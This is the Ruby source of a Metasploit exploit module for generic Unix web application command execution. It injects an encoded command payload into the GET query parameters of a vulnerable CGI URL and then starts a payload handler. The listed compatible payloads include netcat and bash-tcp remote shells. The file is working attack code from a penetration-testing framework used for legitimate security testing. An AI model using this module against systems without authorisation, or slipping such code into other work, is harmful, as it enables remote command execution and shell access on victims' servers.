metasploit-framework/modules/exploits/unix/webapp/generic_exec.rb

77 lines
2.2 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Generic Web Application Unix Command Execution',
'Description' => %q{
This module can be used to exploit any generic command execution vulnerability
for CGI applications on Unix-like platforms. To use this module, specify the
CMDURI path, replacing the command itself with XXcmdXX. This module is currently
limited to forms vulnerable through GET requests with query parameters.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'References' => [ ],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Space' => 1024,
'Compat' =>
{
'PayloadType' => 'cmd cmd_bash',
'RequiredCmd' => 'generic perl telnet netcat netcat-e bash-tcp',
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Nov 14 1993', # CGI historical date :)
'DefaultTarget' => 0))
register_options(
[
OptString.new('CMDURI', [true, "The full URI path with the XXcmdXX parameter", "/cgi-bin/generic?cmd=XXcmdXX"]),
], self.class)
end
def exploit
uri = datastore['CMDURI'].to_s
uri,query = uri.split('?', 2)
if query
query = query.split('&').map{|var|
k,v = var.split('=', 2)
Rex::Text.uri_encode(k) + "=" + Rex::Text.uri_encode(v.gsub("XXcmdXX", payload.encoded))
}.join('&')
uri = uri + '?' + query
end
print_status("Sending HTTP request for #{uri}")
res = send_request_cgi( {
'global' => true,
'uri' => uri
}, 30)
if res
print_status("The server responded with HTTP CODE #{res.code}")
else
print_status("The server did not respond to our request")
end
handler
end
end